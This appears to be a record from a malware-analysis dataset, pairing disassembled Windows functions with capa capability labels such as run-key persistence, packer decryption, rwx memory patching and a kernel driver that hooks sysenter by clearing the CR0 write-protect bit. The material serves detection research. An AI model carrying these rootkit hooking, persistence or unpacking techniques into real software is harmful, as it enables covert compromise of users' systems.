joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100d14c0
Capabilities:
Get process heap force flags

Disassembly:
push 0xffffffffffffffff
push 0x101041d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
mov eax, dword [esp + 0x30]
push ebx
push ebp
push esi
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov esi, dword [esp + 0x34]
push edi
push eax
lea eax, [esp + 0x1c]
mov edx, dword [esi]
push ecx
push eax
mov ecx, esi
call dword [edx + 0x38]
push 0xffffff
push 1
push 2
lea ecx, [esp + 0x1c]
call fcn.100fbeee
lea ecx, [esp + 0x10]
mov dword [esp + 0x30], 0
push ecx
mov ecx, esi
call fcn.100fb48f
mov edx, dword [esi]
push 5
mov ecx, esi
mov edi, eax
call dword [edx + 0x24]
push 7
mov ecx, esi
mov ebx, eax
call fcn.100fb5c7
push 1
mov ecx, esi
mov ebp, eax
call fcn.100fb56b
mov eax, dword [esp + 0x3c]
push eax
push esi
call fcn.100c2330
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
mov edx, dword [esi]
add esp, 8
push eax
lea eax, [esp + 0x24]
push ecx
push eax
mov ecx, esi
call dword [edx + 0x38]
push ebp
mov ecx, esi
call fcn.100fb5c7
push edi
mov ecx, esi
call fcn.100fb48f
push ebx
mov ecx, esi
call fcn.100fb48f
mov dword [esp + 0x10], 0x10194794
lea ecx, [esp + 0x10]
mov dword [esp + 0x30], 1
call fcn.100fbed8
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 0x10

Function at 0x100d15f0
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x10104210
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
mov eax, dword [esp + 0x2c]
push ebx
push ebp
push esi
mov esi, dword [eax + 0x10]
push edi
mov edi, dword [eax + 0xc]
lea eax, [esp + 0x18]
push 1
push eax
call fcn.100d0b80
mov ecx, eax
lea edx, [esp + 0x18]
mov eax, dword [ecx]
sub eax, edi
mov ecx, dword [ecx + 4]
sub ecx, esi
mov esi, dword [esp + 0x38]
push ecx
push eax
push edx
mov ecx, esi
call fcn.100fb7bc
push 0xffffff
push 1
push 2
lea ecx, [esp + 0x1c]
call fcn.100fbeee
lea eax, [esp + 0x10]
mov ecx, esi
push eax
mov dword [esp + 0x34], 0
call fcn.100fb48f
mov edx, dword [esi]
push 5
mov ecx, esi
mov edi, eax
call dword [edx + 0x24]
push 7
mov ecx, esi
mov ebx, eax
call fcn.100fb5c7
push 1
mov ecx, esi
mov ebp, eax
call fcn.100fb56b
mov eax, dword [esp + 0x40]
push eax
push esi
call fcn.100c2330
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
add esp, 8
lea eax, [esp + 0x20]
push ecx
push edx
push eax
mov ecx, esi
call fcn.100fb7bc
push ebp
mov ecx, esi
call fcn.100fb5c7
push edi
mov ecx, esi
call fcn.100fb48f
push ebx
mov ecx, esi
call fcn.100fb48f
mov dword [esp + 0x10], 0x10194794
lea ecx, [esp + 0x10]
mov dword [esp + 0x30], 1
call fcn.100fbed8
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 0xc
Function at 0x100d3100
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x101042c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
push esi
push edi
push 0xffffff
push 1
push 2
lea ecx, [esp + 0x28]
call fcn.100fbeee
mov esi, dword [esp + 0x44]
lea eax, [esp + 0x1c]
xor edi, edi
push eax
mov ecx, esi
mov dword [esp + 0x40], edi
call fcn.100fb48f
mov edx, dword [esi]
push 5
mov ecx, esi
mov dword [esp + 0x10], eax
call dword [edx + 0x24]
push 7
mov ecx, esi
mov dword [esp + 0x14], eax
call fcn.100fb5c7
mov ecx, dword [esi + 8]
mov dword [esp + 0x44], eax
lea eax, [esp + 0x24]
push eax
push ecx
call dword [sym.imp.GDI32.dll_GetViewportOrgEx]
push 1
mov ecx, esi
call fcn.100fb56b
mov edx, dword [esp + 0x4c]
mov ebx, dword [edx + 8]
dec ebx
js 0x100d31f3
push ebp
mov ebp, dword [esp + 0x54]
mov eax, dword [esp + 0x50]
mov edx, dword [ebp]
mov ecx, dword [eax + 4]
mov eax, dword [ecx + edi*4]
mov ecx, dword [eax + 0xc]
sub edx, ecx
mov ecx, dword [ebp + 4]
mov dword [esp + 0x18], edx
mov edx, dword [eax + 0x10]
sub ecx, edx
lea edx, [esp + 0x18]
mov dword [esp + 0x1c], ecx
push edx
mov ecx, esi
call fcn.100fbb07
mov ecx, dword [esp + 0x58]
mov edx, dword [esp + 0x1c]
mov eax, dword [ecx + 4]
mov ecx, dword [ecx]
sub eax, edx
mov edx, dword [esp + 0x18]
sub ecx, edx
mov edx, dword [esi]
push eax
lea eax, [esp + 0x34]
push ecx
push eax
mov ecx, esi
call dword [edx + 0x38]
mov ecx, dword [esp + 0x4c]
mov edx, dword [ecx + 4]
mov eax, dword [edx + edi*4]
push eax
push esi
call fcn.100c2330
add esp, 8
inc edi
cmp edi, ebx
jle 0x100d3188
pop ebp
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
mov eax, dword [esi]
push ecx
lea ecx, [esp + 0x30]
push edx
push ecx
mov ecx, esi
call dword [eax + 0x38]
mov edx, dword [esp + 0x44]
mov ecx, esi
push edx
call fcn.100fb5c7
mov eax, dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.100fb48f
mov ecx, dword [esp + 0x10]
push ecx
mov ecx, esi
call fcn.100fb48f
mov dword [esp + 0x1c], 0x10194794
lea ecx, [esp + 0x1c]
mov dword [esp + 0x3c], 1
call fcn.100fbed8
mov ecx, dword [esp + 0x34]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x34
ret 0x14
Function at 0x100e34a0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov eax, dword [0x101daf64]
test eax, eax
jne 0x100e3530
push str.oleaut32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.LoadRegTypeLib
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
mov dword [0x101daf64], eax
jne 0x100e34ce
ret
push 0x101daf60
push 0x40
push 8
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x101daf64]
mov byte [0x101daf44], 0xb8
mov dword [0x101daf45], 0x100e33e0
mov byte [0x101daf49], 0xff
mov byte [0x101daf4a], 0xe0
mov byte [0x101daf4b], 0
mov ecx, dword [eax]
mov dword [0x101daf4c], ecx
mov edx, dword [eax + 4]
mov ecx, dword [0x101daf44]
mov dword [0x101daf50], edx
mov dword [eax], ecx
mov eax, dword [0x101daf64]
mov edx, dword [0x101daf48]
mov dword [eax + 4], edx
mov eax, 1
ret

Function at 0x100f7448
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x100f7480
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.100f5490
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.100f5468
jmp 0x100f748c
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x100f8b8e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x100f8bd0
call fcn.100fe978
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x100f8bd0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x100f8bc7
xor eax, eax
jmp 0x100f8bd8
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.100f8bde
pop edi
pop esi
pop ebx
ret 4
Function at 0x1032e
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, dword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
push edi
lea eax, [ebp - 8]
push eax
push 0xa
lea eax, [ebp - 0x1c]
push eax
push 0xb
call esi
push 0x206b6444
push dword [ebp - 8]
push 0
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov edi, eax
test edi, edi
je 0x103cc
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push edi
push 0xb
call esi
test eax, eax
jne 0x103c3
mov eax, dword [edi]
and dword [ebp - 0xc], 0
test eax, eax
mov dword [ebp - 0x10], eax
lea ebx, [edi + 4]
jbe 0x103c3
lea eax, [ebx + 0x1c]
mov dword [ebp - 4], eax
mov esi, 0x11c
push 0x5c
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_strrchr]
test eax, eax
pop ecx
pop ecx
jne 0x103a2
mov eax, dword [ebp - 4]
jmp 0x103a3
inc eax
push dword [ebp + 8]
push eax
call dword [sym.imp.ntoskrnl.exe__stricmp]
test eax, eax
pop ecx
pop ecx
je 0x103d5
add dword [ebp - 4], esi
add ebx, esi
inc dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x10]
jb 0x1038c
push 0
push edi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
mov ebx, dword [ebx + 8]
push 0
push edi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, ebx
jmp 0x103ce

Function at 0x10446
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
sidt [ebp - 8]
movzx eax, word [ebp - 4]
movzx ecx, word [ebp - 6]
shl eax, 0x10
or eax, ecx
movzx ecx, word [eax + 0xe]
movzx edx, word [eax + 8]
shl ecx, 0x10
or ecx, edx
mov dword [0x114dc], ecx
movzx edx, word [eax + 0x1e]
movzx eax, word [eax + 0x18]
shl edx, 0x10
push ecx
or edx, eax
push 0x10406
mov dword [0x114d4], edx
call sub.ntoskrnl.exe_DbgPrint
push dword [0x114d4]
push 0x10426
call sub.ntoskrnl.exe_DbgPrint
add esp, 0x10
leave
ret

Function at 0x1052a
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
push edi
lea eax, [ebp - 4]
push eax
xor edi, edi
push edi
lea eax, [ebp - 4]
push eax
push 0xb
mov dword [ebp - 8], edi
call esi
push 0x206b6444
push dword [ebp - 4]
push edi
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
push edi
push dword [ebp - 4]
mov ebx, eax
push ebx
push 0xb
call esi
test eax, eax
jl 0x105ad
mov eax, dword [ebx + 0xc]
mov edx, dword [ebp + 8]
push 5
pop ecx
mov esi, 0x10514
mov edi, edx
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 8], eax
movsw word es:[edi], word [esi]
movzx eax, word [ebx + 0x1e]
lea eax, [eax + ebx + 0x20]
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10589
sub eax, esi
dec edx
mov cl, byte [edx + 1]
inc edx
test cl, cl
jne 0x10593
mov ecx, eax
shr ecx, 2
mov edi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor edi, edi
push edi
push ebx
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x105c0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
cmp word [edx], 0x5a4d
je 0x105d1
xor eax, eax
jmp 0x10615
mov eax, dword [edx + 0x3c]
push ebx
add eax, edx
movzx ecx, word [eax + 0x14]
push esi
movzx esi, word [eax + 6]
push edi
mov edi, dword [ebp + 0xc]
sub edi, edx
xor edx, edx
cmp esi, edx
lea ecx, [ecx + eax + 0x18]
mov dword [ebp + 8], edx
jbe 0x10610
add ecx, edx
mov eax, dword [ecx + 0xc]
cmp edi, eax
jbe 0x10605
mov ebx, dword [ecx + 0x10]
add ebx, eax
cmp edi, ebx
jb 0x10619
inc dword [ebp + 8]
add edx, 0x28
cmp dword [ebp + 8], esi
jb 0x105f3
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 8
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
add eax, edi
jmp 0x10612
Function at 0x11ad3
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov byte [ebp - 8], 0xe9
xor ebx, ebx
mov ecx, 0x176
rdmsr
mov dword [0x114d0], eax
mov eax, dword [0x114d0]
lea ecx, [eax + 0xff]
jmp 0x11b18
movsx edx, byte [eax]
cmp edx, 0x8b
jne 0x11b17
cmp byte [eax + 1], 0x5f
jne 0x11b17
cmp byte [eax + 2], 0xc
jne 0x11b17
cmp byte [eax + 3], 0x33
je 0x11b1e
inc eax
cmp eax, ecx
jb 0x11afa
jmp 0x11b30
push eax
push 0x11aa8
mov dword [0x114c8], eax
call sub.ntoskrnl.exe_DbgPrint
pop ecx
pop ecx
mov eax, dword [0x114c8]
push eax
call fcn.000119c4
add ebx, eax
mov eax, dword [0x114c8]
add eax, ebx
cmp ebx, 5
jl 0x11b35
push 0x206b6444
push 0x14
push 0
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov edx, dword [0x114c8]
mov dword [0x114cc], eax
mov esi, edx
mov ecx, edx
sub ecx, eax
sub ecx, 5
mov dword [ebp - 7], ecx
mov edi, 0x114c0
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, eax
mov ecx, ebx
mov eax, ecx
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [0x114cc]
lea edi, [eax + ebx]
lea esi, [ebp - 8]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push dword [0x114cc]
push 0x11ab8
call sub.ntoskrnl.exe_DbgPrint
mov eax, 0x119dc
sub eax, dword [0x114c8]
pop ecx
sub eax, 5
pop ecx
mov dword [0x11491], eax
cli
mov eax, cr0
and eax, 0xfffeffff
mov cr0, eax
mov eax, cr0
or eax, 0x10000
mov cr0, eax
sti
pop edi
pop esi
pop ebx
leave
ret

Function at 0x11c6a
Capabilities:
Print debug messages

Disassembly:
push ebx
mov ebx, dword [sym.imp.ntoskrnl.exe_ObOpenObjectByPointer]
push esi
push edi
mov edi, dword [esp + 0x14]
xor eax, eax
xor esi, esi
cmp byte [esi + edi], 0xe8
jne 0x11c9b
push 0x11c62
call sub.ntoskrnl.exe_DbgPrint
mov eax, ebx
sub eax, esi
sub eax, edi
sub eax, 5
cmp eax, dword [esi + edi + 1]
pop ecx
je 0x11ca6
inc esi
cmp esi, 0x23e
jl 0x11c7b
jmp 0x11ca9
lea eax, [esi + edi]
test eax, eax
je 0x11ce1
mov ecx, dword [esp + 0x10]
lea esi, [eax - 6]
mov edi, ecx
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea esi, [eax - 6]
push 6
mov eax, esi
sub ebx, ecx
sub eax, ecx
push esi
sub ebx, 0xb
sub eax, 5
push ecx
mov byte [ecx + 6], 0xe8
mov dword [ecx + 7], ebx
mov byte [ecx + 0xb], 0xe9
mov dword [ecx + 0xc], eax
call fcn.00010a16
mov eax, esi
pop edi
pop esi
pop ebx
ret 8
Function at 0x11e46
Capabilities:
Create device object

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push edi
mov edi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push section.INIT
lea eax, [ebp - 0xc]
push eax
call edi
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x22
lea eax, [ebp - 0xc]
push eax
push 0x30
push dword [ebp + 8]
call dword [sym.imp.ntoskrnl.exe_IoCreateDevice]
test eax, eax
jl 0x11ed2
mov eax, dword [ebp - 4]
or dword [eax + 0x1c], 0x10
mov eax, dword [ebp - 4]
push esi
mov esi, dword [eax + 0x28]
mov dword [esi], eax
mov eax, dword [ebp - 0xc]
mov dword [esi + 4], eax
mov eax, dword [ebp - 8]
mov dword [esi + 8], eax
push 0x11e20
lea eax, [ebp - 0x14]
push eax
call edi
mov eax, dword [ebp - 0x14]
mov dword [esi + 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [esi + 0x10], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.ntoskrnl.exe_IoCreateSymbolicLink]
mov esi, eax
test esi, esi
jge 0x11ecf
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_IoDeleteDevice]
mov eax, esi
jmp 0x11ed1
xor eax, eax
pop esi
pop edi
leave
ret 4
Function at 0x541344
Capabilities:
Encode data using xor

Disassembly:
push ebx
jle 0x5413b9
add dword [edx + 0x5d31b7e2], esi
jmp 0x9c825ccf
insb byte es:[edi], dx
lodsd eax, dword [esi]
out dx, eax
xor al, byte [eax + 0x78]
and byte [edi + 0x3f118f2c], bh
mov cl, 0x75
imul ebp, edi, 0x3a
mov byte [0x62a1cc3c], al
mov al, byte [0x7167efcb]
xor eax, 0xdfbbf3b4
mov eax, dword [0x911296d3]
daa
popal
mov dword [0xdc1b8fd7], eax
cmp ebp, dword [eax + 0x2f]
mov esi, 0xb20d53e0
jg 0x5413c8
adc dl, byte [ecx - 0x285c9ed9]
invalid
aaa
and ebp, dword [ebp - 0x1e]
push ecx
push ss
test dl, ch
mov cl, 0xe3
ja 0x541384
inc ebp
invalid
mov ah, 0x6e
or cl, byte [edi]
push ebx
push ds
pop esi
sbb bh, byte [eax]
add byte [edx + 0xd88751], 0xa
xchg ebx, eax
or dword [eax + 0x542441ed], ecx
pop esp
loope 0x541383
xor ch, byte [edi + 0x78]
jle 0x5413a6
invalid

Function at 0x54c2d4
Capabilities:
Encode data using xor

Disassembly:
pushal
add eax, 0x601e56c1
sbb byte [ebx + 0x2a61613c], bh
ror byte [ebx + 0xdd31ad0], 0xbe
sbb eax, 0x11213560
sub al, al
mov edx, eax
sbb dl, bl
or eax, 0x35601dbe
and dword [ecx], edx
and edi, edi
push ss
aad 0x60
xchg esi, eax
jns 0x54c27d
xchg ebp, eax
mov eax, 0xeb71993b
xor dword [edx], esp
std
and eax, eax
dec edx
imul eax, dword [ecx], 0xffffffeb
sub eax, 0x222c77e1
test dword [ebx - 0x2f], eax
leave
pushal
movsb byte es:[edi], byte [esi]
cmpsd dword [si], dword es:[di]
and al, 0x26
inc esp
jecxz 0x54c2cf
mov ah, 0xcc
test byte [ecx - 0xd], dl
mov dh, byte [eax - 0x16]
cmpsb byte [esi], byte es:[edi]
rol bl, 0xa8
xor esi, dword [ecx - 0x5ba3389e]
xchg edx, eax
ja 0x54c2a7
invalid
Function at 0x5960e4
Capabilities:
Encode data using xor

Disassembly:
sbb byte [ebx], cl
push eax
cmc
xor byte [edx - 0x4e], ch
sub dword [ebx + 0x31eb7ecc], eax
mov esi, 0xd5347628
int3
xor dword [esi - 0x2acb89d8], edi
mov eax, dword [edi]
fisttp word [edx + 0x201883f7]
pushfd
pop es
loop 0x596132
or al, 0x23
mov byte [esi + 3], bh
add cl, byte [eax]
in al, dx
daa
sub al, 0xb6
sbb bh, al
push esp
popal
sub bl, ch
dec edi
sbb byte [edx + 0x62], ah
mov ebx, 0xba2e7d6d
inc esp
and al, 0xe5
jmp 0x3009e75b
call 0x29bad65c
daa
out dx, eax
xchg esp, eax
push edx
jnp 0x5960ed
test esp, esp
xor dword [edi + 0x45387ac9], ebp
movsd dword es:[edi], dword [esi]
cli
xor dword [ecx], ecx
xchg ecx, eax
loopne 0x596146
test byte [0x1bda11b0], bh
pop ebp
lahf
xor byte [esi - 0x4569152e], bl
xor dword [0xb47c9e8], 0x2d62cb75
pop esp
les esp, [ecx + 0x3e7d4f8]
jmp 0x5960f0
Function at 0x6182a4
Capabilities:
Encode data using xor

Disassembly:
or dh, byte [edi]
sbb dword [esi - 0x1786a4d7], ecx
xchg ecx, esp
dec esi
xor edx, eax
add eax, 0xb19f9bc4
fmul st(6), st(0)
les ebx, [ebx - 0x23c14e61]
into
sahf
jecxz 0x6182b3
sbb byte [ecx - 0x7a], 0x4d
stosd dword es:[edi], eax
cmpsd dword [esi], dword es:[edi]
dec ebp
mov ebx, 0xb8c8aad4
invalid

Function at 0x6216e4
Capabilities:
Encode data using xor

Disassembly:
lodsb al, byte [esi]
push ecx
push ss
imul edi, dword [ebp + 0x6cb43be0], 0x26
and al, 0xe1
dec edi
lds edi, [edx - 0x55eeee4e]
xor dl, byte [ecx - 0x54fe538e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor dword [edx + 0x54], ecx
imul edi, dword [eax - 0x32d0debe], 0xeb51ff4e
or esi, dword [ecx]
pop eax
push eax
jo 0x621757
out 0xc0, al
out dx, eax
shr dword [ebx + 0x359eb88d], 0x46
sub eax, 0x318ecf4d
das
mov bl, 0x30
add byte [edx], bh
mov bl, 0x1a
insd dword es:[edi], dx
pop esi
test al, 6
push eax
inc eax
fimul word [ecx + 0x47]
out dx, eax
cwde
fdivr qword [esi]
dec edi
mov eax, 0x3919c94
and dword [0x2c050519], ebp
inc ecx
js 0x6216cb
mov esi, 0x52a7ab3e
inc esp
mov edi, ebp
scasd eax, dword es:[edi]
ror byte [edi + 0x37b28d8b], 0xf4
mov byte [esi - 0x395dae49], ch
jle 0x6217a8
call 0x5b1b47e
sub ebp, dword [edx - 0x61cb872e]
inc esp
or dword [ecx - 0x1a5540e2], esp
invalid
sal edx, 0x64
mov eax, dword [0x1fba1d0]
cmp al, 0xb0
js 0x62178b
push ss
push es
push cs
xor dword [ecx + 0x2d9b1801], ebx
iretd
inc ebp
dec ebp
jne 0x621717
jns 0x6217bb
push esp
or ah, byte [ebp - 0x38732e26]
mov byte [0xcff2261e], al
stosb byte es:[edi], al
outsd dx, dword [esi]
wait
push cs
jno 0x6217b2
xor al, al
les ebx, [esi + 0x48]
aas
xor dword [edi - 0x32], ebx
sub al, 0x31
mov cl, 0xfe
mov dh, 0xa4
cld
inc ebx
xchg esi, eax
and eax, 0xb1f1ae70
cmpsd dword [esi], dword es:[edi]
xor edi, ecx
mov al, byte [0x1398b3c]
js 0x621826
invalid
mov al, byte [0x48537fab]
and dword [edx], ebp
and dword [esi], esi
inc esi
invalid
Function at 0x65731d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x65e3b8
cmp edx, dword [eax]
je 0x65733f
add eax, 8
inc ecx
cmp eax, 0x65e448
jl 0x657330
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x65e3b8]
jne 0x65746d
mov eax, dword [0xa63d28]
cmp eax, 1
je 0x657447
test eax, eax
jne 0x657370
cmp dword [0x65e2e4], 1
je 0x657447
cmp edx, 0xfc
je 0x65746d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x6573a7
lea eax, [ebp - 0x1a4]
push 0x65c6d8
push eax
call fcn.00657d00
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00658190
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x6573ea
lea eax, [ebp - 0x1a4]
push eax
call fcn.00658190
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x65c6d4
push edi
call fcn.0065a060
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x65c6b8
push eax
call fcn.00657d00
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00657d10
lea eax, [ebp - 0xa0]
push 0x65c6b4
push eax
call fcn.00657d10
push dword [esi + 0x65e3bc]
lea eax, [ebp - 0xa0]
push eax
call fcn.00657d10
push 0x12010
lea eax, [ebp - 0xa0]
push 0x65c68c
push eax
call fcn.00659fd4
add esp, 0x2c
pop edi
jmp 0x65746d
lea eax, [ebp + 8]
lea esi, [esi + 0x65e3bc]
push 0
push eax
push dword [esi]
call fcn.00658190
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x46a3e8
Capabilities:
Encode data using xor

Disassembly:
push 0
call 0x46a3e8
mov dword [0], eax
add esp, 8
jmp loc.00f18e24
Function at 0x4d1ece
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, 0x4e44ff
call fcn.004aef44
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.004cba8f
mov eax, dword [0x51f03c]
lea ebx, [esi + 0x24]
xor edi, edi
mov dword [ebp - 4], edi
mov dword [ebx], eax
mov eax, dword [ebp + 0x10]
mov dword [esi], vtable.CInternetFile.0
mov ecx, 0x5262f8
mov byte [ebp - 4], 1
push dword [eax + 0xc]
push dword [ebp + 8]
call fcn.004d1d07
push dword [ebp + 0xc]
lea ecx, [esi + 0xc]
call fcn.004c6033
mov ecx, dword [ebp + 0x10]
mov eax, dword [ecx + 8]
mov dword [esi + 0x1c], eax
lea eax, [ebp + 0x10]
push eax
call fcn.004a72f2
push eax
mov ecx, ebx
mov byte [ebp - 4], 2
call fcn.004c5fe3
lea ecx, [ebp + 0x10]
mov byte [ebp - 4], 1
call fcn.004c5eaa
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x14], eax
mov eax, dword [ebp + 0x14]
mov dword [esi + 0x18], eax
mov dword [esi + 0x3c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x40], edi
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x10

Function at 0x4d4820
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4d484e
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4d486c
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004d4786
jmp 0x4d486c
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4d486c
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004d4786
test edi, edi
mov eax, edi
jne 0x4d4856
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403ac5
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x42e01e
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x100875f
Capabilities:
Persist via run registry key

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x10261a8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor esi, esi
push esi
push esi
push 3
push esi
push esi
push 0x1001c00
mov edi, ecx
push 0x80000001
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x218], esi
mov dword [ebp - 0x214], esi
mov dword [ebp - 0x210], esi
call fcn.01007b4b
test eax, eax
jne 0x10087f9
push 0x104
lea eax, [ebp - 0x20c]
push eax
push esi
call dword [fcn.01001108]
test eax, eax
jbe 0x10087ee
xor eax, eax
mov word [ebp - 6], ax
lea eax, [ebp - 0x20c]
push eax
call dword [fcn.01001258]
lea ecx, [ebp - 0x20c]
cmp eax, ecx
je 0x10087ee
push 1
push eax
push eax
lea ecx, [ebp - 0x218]
call fcn.01007ba0
lea ecx, [ebp - 0x218]
call fcn.01007b2d
push esi
push esi
push 2
push dword [edi + 4]
call dword [fcn.0100127c]
lea ecx, [ebp - 0x218]
call fcn.01007b2d
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0100c855
leave
ret